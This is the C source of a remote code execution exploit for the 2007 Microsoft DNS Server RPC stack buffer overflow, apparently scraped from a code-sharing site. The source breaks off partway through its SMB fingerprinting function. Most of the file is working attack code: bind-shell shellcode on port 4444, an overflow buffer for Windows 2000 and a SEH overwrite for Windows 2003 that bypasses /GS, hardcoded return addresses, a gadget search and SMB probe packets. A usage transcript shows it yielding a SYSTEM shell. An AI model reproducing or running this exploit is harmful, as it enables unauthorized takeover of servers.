📄 dnsxplc.c
字号:
/* Microsoft DNS Server Remote Code execution Exploit and analysis
Advisory: http://www.microsoft.com/technet/security/advisory/935964.mspx
This remote exploit works against port 445 (also Microsoft RPC api used)
Author:
* Mario Ballano ( mballano~gmail.com )
* Andres Tarasco ( atarasco~gmail.com )
Timeline:
* April,12,2007: Microsoft advisory published
* April,13,2007: POC Exploit coded
* April,14,2007: Microsoft notified about a new attack vector against port 445 (this exploit code)
* April,14,2007: Working exploit for Windows 2000 server SP4 (Spanish)
* April,15,2007: Working exploit for Windows 2003 server SP2 (Spanish) /GS bypassed
* April,16,2007: hackers hax the w0rld and got busted.
* April,xx,2007: Lammer release the first buggy worm
* Xxxxx,xx,2007: Finally it was true. Nacked photos of Gary m.. being abducted were found at NSA servers
Usage:
D:\DNSTEST>dnstest.exe 192.168.1.7
-------------------------------------------------------
Microsoft Dns Server local & remote RPC Exploit code (port 445)
Exploit code by Andres Tarasco & Mario Ballano
Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish)
-------------------------------------------------------
[+] Trying to fingerprint target.. 05 02
[+] Remote Host identified as Windows 2003
[+] Connecting to 50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_np:192.168.1.7[\\pipe\\dnsserver]
[+] RpcBindingFromStringBinding returned 0x0
[+] Calling remote procedure DnssrvOperation()
[+] Now try to connect to port 4444
D:\DNSTEST>nc 192.168.1.7 4444
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>whoami
nt authority\system
Vulnerability Analysis:
The function Lookup_ZoneTreeNodeFromDottedName() uses a fixed local buffer to convert
a string calling Name_ConvertFileNameToCountName(), this string can contain back-slash
octal characters. Although some bounds checks are done when writting to the buffer is
still possible to bypass them using a string with multiple backslashed chars, resulting
in a stack based buffer overflow.
This function can be reached through DNS RPC Interface, the execution flow
will be as follows:
R_DnssrvQuery(pa,buggybuffer,pc,DesiredAccess,pd); // RPC Exported function
R_DnssrvQuery2(0,0,pa,buggybuffer,pc,DesiredAccess,pd);
RpcUtil_FindZone(buggybuffer,1,DesiredAccess);
Zone_FindZoneByName(buggybuffer); // Here we go!
Lookup_ZoneTreeNodeFromDottedName(buggybuffer,0,0x2000000);
Name_ConvertFileNameToCountName(localbuffer,buggybuffer,0); // Using fixed size local buffer
extractQuotedChar(x,x,buggybuffer); // Extract octal number
Disassemblies at the end of the code:
References:
- Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server. (David Litchfield, NGSSoftware).
- www.48bits.com
- http://www.514.es
Just compile the code with nmake and have fun!
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include "dnsxpl.h"
#include <winsock.h>
#pragma comment(lib,"ws2_32")
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); }
void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); }
int fingerprint (char *host);
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize);
unsigned char buf[] = /* Bindshell 4444 */
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x18"
"\xc0\x9e\xb3\x83\xeb\xfc\xe2\xf4\xe4\xaa\x75\xfe\xf0\x39\x61\x4c"
"\xe7\xa0\x15\xdf\x3c\xe4\x15\xf6\x24\x4b\xe2\xb6\x60\xc1\x71\x38"
"\x57\xd8\x15\xec\x38\xc1\x75\xfa\x93\xf4\x15\xb2\xf6\xf1\x5e\x2a"
"\xb4\x44\x5e\xc7\x1f\x01\x54\xbe\x19\x02\x75\x47\x23\x94\xba\x9b"
"\x6d\x25\x15\xec\x3c\xc1\x75\xd5\x93\xcc\xd5\x38\x47\xdc\x9f\x58"
"\x1b\xec\x15\x3a\x74\xe4\x82\xd2\xdb\xf1\x45\xd7\x93\x83\xae\x38"
"\x58\xcc\x15\xc3\x04\x6d\x15\xf3\x10\x9e\xf6\x3d\x56\xce\x72\xe3"
"\xe7\x16\xf8\xe0\x7e\xa8\xad\x81\x70\xb7\xed\x81\x47\x94\x61\x63"
"\x70\x0b\x73\x4f\x23\x90\x61\x65\x47\x49\x7b\xd5\x99\x2d\x96\xb1"
"\x4d\xaa\x9c\x4c\xc8\xa8\x47\xba\xed\x6d\xc9\x4c\xce\x93\xcd\xe0"
"\x4b\x93\xdd\xe0\x5b\x93\x61\x63\x7e\xa8\x8f\xef\x7e\x93\x17\x52"
"\x8d\xa8\x3a\xa9\x68\x07\xc9\x4c\xce\xaa\x8e\xe2\x4d\x3f\x4e\xdb"
"\xbc\x6d\xb0\x5a\x4f\x3f\x48\xe0\x4d\x3f\x4e\xdb\xfd\x89\x18\xfa"
"\x4f\x3f\x48\xe3\x4c\x94\xcb\x4c\xc8\x53\xf6\x54\x61\x06\xe7\xe4"
"\xe7\x16\xcb\x4c\xc8\xa6\xf4\xd7\x7e\xa8\xfd\xde\x91\x25\xf4\xe3"
"\x41\xe9\x52\x3a\xff\xaa\xda\x3a\xfa\xf1\x5e\x40\xb2\x3e\xdc\x9e"
"\xe6\x82\xb2\x20\x95\xba\xa6\x18\xb3\x6b\xf6\xc1\xe6\x73\x88\x4c"
"\x6d\x84\x61\x65\x43\x97\xcc\xe2\x49\x91\xf4\xb2\x49\x91\xcb\xe2"
"\xe7\x10\xf6\x1e\xc1\xc5\x50\xe0\xe7\x16\xf4\x4c\xe7\xf7\x61\x63"
"\x93\x97\x62\x30\xdc\xa4\x61\x65\x4a\x3f\x4e\xdb\xe8\x4a\x9a\xec"
"\x4b\x3f\x48\x4c\xc8\xc0\x9e\xb3";
int local=1;
void __cdecl main(int argc, char *argv[])
{
RPC_STATUS status;
unsigned char * pszUuid = "50abc2a4-574d-40b3-9d66-ee4fd5fba076";
unsigned char * pszProtocolSequence = "ncacn_np";
unsigned char * pszNetworkAddress = NULL;
unsigned char * pszEndpoint = "\\pipe\\dnsserver";
unsigned char * pszOptions = NULL;
unsigned char * pszStringBinding = NULL;
unsigned long ulCode;
int os;
printf(" -------------------------------------------------------\n");
printf(" Microsoft Dns Server local & remote RPC Exploit code (port 445)\n");
printf(" Exploit code by Andres Tarasco & Mario Ballano\n");
printf(" Tested against Windows 2000 server SP4 and Windows 2003 SP2 (Spanish)\n");
printf(" -------------------------------------------------------\n\n");
if (argc!=2) {
printf(" [-] Usage: %s <ip>\n",argv[0]);
exit(1);
}
pszNetworkAddress=argv[1];
if (strcmp(argv[1],"127.0.0.1")!=0) {
local=0;
}
//Test if the remote server is supported (2k & 2k3)
os=fingerprint(pszNetworkAddress);
if (os==-1) {
printf("[-] Unable to fingerprint remote Host\n");
exit(-1);
} else {
switch (os) {
case 0: printf("[+] Remote Host identified as Windows 2000\n"); break;
case 1: printf("[-] Remote Host identified as Windows XP\n"); exit(1); break;
case 2: printf("[+] Remote Host identified as Windows 2003\n"); break;
default: printf("[-] Unknown Remote Host OS\n");exit(1); break;
}
}
//Create an RPC connection
status = RpcStringBindingCompose(pszUuid,pszProtocolSequence,pszNetworkAddress,pszEndpoint,pszOptions,&pszStringBinding);
printf("[+] Connecting to %s\n", pszStringBinding);
if (status==RPC_S_OK) {
status = RpcBindingFromStringBinding(pszStringBinding,&dns);
printf("[+] RpcBindingFromStringBinding returned 0x%x\n", status);
if (status==RPC_S_OK) {
wchar_t *parama=L"PARAMAA"; //Rpc call parameter1
unsigned char *paramb=NULL; //Rpc call parameter2 that triggers overflow
unsigned char *paramc="PARAMC";//Rpc call parameter3
long *paramd = malloc(50); //Rpc call parameter4
long *parame=malloc(50); //rpc call paramameter5
int i,j;
long ret;
if (os==0) { //Windows 2000 Server exploit
#define BUFSIZE (0x3A2 +8 +24 +sizeof(buf)*2)
paramb=malloc(BUFSIZE +1); //Alloc needed space
memset(paramb,'\\',BUFSIZE); //Fill the whole buffer with \
for(i=0;i<=0x3A2;i+=2) { //0x3A2 chars needed to trigger the overflow
paramb[i+1]='a';
}
paramb[0x3a2+1]=0xF8; //overwrite EIP with return address 0x79467EF8 ( kernel32.dll call esp )
paramb[0x3a2+3]=0x7e; //Change it to match your system
paramb[0x3a2+5]=0x46; //Just execute findjmp2 kernel32.dll esp
paramb[0x3a2+7]=0x79; //and have fun :-)
//Pad with 3 DWORDS (our shellcode is at ESP, 12 bytes above)
memcpy(¶mb[0x3a2+8],"\\a\\a\\a\\a\\b\\b\\b\\b\\c\\c\\c\\c",24);
i=0x3a2+8+24; //set the possition for our shellcode
for(j=0;j<sizeof(buf);j++) {
paramb[i+1]=buf[j]; //add the shellcode to the buffer
i+=2;
}
paramb[BUFSIZE]='\0';
} else { //Windows 2003 server exploit. Overwrite SEH handler
#undef BUFSIZE
#define BUFSIZE 10000
#define Base2Search (BYTE *)(0x7ffb0000) // AnsiCodePageData
#define SEH_HANDLER_DELTA 0x661
DWORD jmpoffset=0x7FFc07A4; //This AnsiCodePageData offset works for me on a VMWare
paramb=malloc(BUFSIZE +1);
memset (paramb,'\\',BUFSIZE);
for( i=0 ; i< BUFSIZE; i+=2 ) {
paramb[i+1]='a';
}
//Adding jmp $ + 6
paramb[SEH_HANDLER_DELTA*2-7] =0x90;
paramb[SEH_HANDLER_DELTA*2-5] =0x90;
paramb[SEH_HANDLER_DELTA*2-3] =0xEB;
paramb[SEH_HANDLER_DELTA*2-1] =0x04;
//add ret for SEH
if (local) {
DWORD Off2popAndRet = (DWORD) find_jmp(Base2Search,0x100000); //search AnsiCodePageData for valid rets
if(Off2popAndRet) {
printf("[+] Valid Offset found at 0x%p!!\n", Off2popAndRet);
paramb[SEH_HANDLER_DELTA*2+1] =(unsigned char) Off2popAndRet & 0xFF;
paramb[SEH_HANDLER_DELTA*2+3] =(unsigned char) (Off2popAndRet >>8 ) & 0xFF;
paramb[SEH_HANDLER_DELTA*2+5] =(unsigned char) (Off2popAndRet >> 16 ) & 0xFF;
paramb[SEH_HANDLER_DELTA*2+7] =(unsigned char) (Off2popAndRet >> 24 ) & 0xFF;
} else {
printf("[-] Unable to locate valid PopAndRet\n");
exit(-1);
}
} else { //jmpoffset (shouldnt work most times as its different for other systems)
paramb[SEH_HANDLER_DELTA*2+1] =(unsigned char) jmpoffset & 0xFF;
paramb[SEH_HANDLER_DELTA*2+3] =(unsigned char) (jmpoffset >>8 ) & 0xFF;
paramb[SEH_HANDLER_DELTA*2+5] =(unsigned char) (jmpoffset >> 16 ) & 0xFF;
paramb[SEH_HANDLER_DELTA*2+7] =(unsigned char) (jmpoffset >> 24 ) & 0xFF;
}
i=SEH_HANDLER_DELTA*2+8;
for(j=0;j<sizeof(buf)-1;j++) {
paramb[i+1]=buf[j]; //add the Shellcode
i+=2;
}
paramb[BUFSIZE]='\0';
}
printf("%s\n",paramb);//exit(1);
printf("[+] Calling remote procedure DnssrvOperation()\n");
printf("[+] Now try to connect to port 4444\n");
RpcTryExcept {
ret=DnssrvQuery(parama,paramb,paramc,paramd,parame) ; //send the overflow call
printf("[-] Return code: %i\r",ret);
}
RpcExcept(1) {
ulCode = RpcExceptionCode(); //Show returned errors from remote DNS server
printf("[-] RPC Server reported exception 0x%lx = %ld\n", ulCode, ulCode);
switch (ulCode) {
case 5: printf("[-] Access Denied, authenticate first with \"net use \\\\%s pass /u:user\"\n",argv[1]);break;
case 1722:printf("[-] Looks like there is no remote dns server\n"); break;
case 1726:printf("[-] Looks like remote RPC server crashed :/\n"); break; //TODO revisar error code
default: break;
}
}
RpcEndExcept
}
}
}
/******************************************************************************************************/
BYTE * find_jmp (BYTE *lpAddress, DWORD dwSize)
{
DWORD i;
BYTE *p;
BYTE *retval = NULL;
printf("[+] Searching 0x%x bytes\n",dwSize);
for (i=0;i<(dwSize-4);i++)
{
p = lpAddress + i;
// Search for POP + POP + RET
if ((p[0] > 0x57) && (p[0] < 0x5F) && (p[1] > 0x57) && (p[1] < 0x5F) && (p[2] > 0xC1) && (p[2] < 0xC4)) {
retval = p;
break;
}
// Search for CALL DWORD PTR [ESP+8]
if ( (p[0] == 0xFF) &&
(p[1] == 0x54) &&
(p[2] == 0x24) &&
(p[3]==0x8) )
{
retval = p;
break;
}
}
return retval;
}
/******************************************************************************************************/
int fingerprint (char *host) {
char req1[] =
"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f"
"\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02"
"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f"
"\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70"
"\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30"
"\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54"
"\x20\x4c\x4d\x20\x30\x2e\x31\x32";
char req2[] =
"\x00\x00\x00\xa4\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
"\x00\x00\x10\x00\x0c\xff\x00\xa4\x00\x04\x11\x0a\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xd4\x00\x00\x80\x69\x00\x4e"
"\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xe0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2e\x00\x30\x00\x00\x00\x00";
WSADATA ws;
int sock;
struct sockaddr_in remote;
unsigned char buf[0x300];
int i;
OSVERSIONINFO os;
if (local) {
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -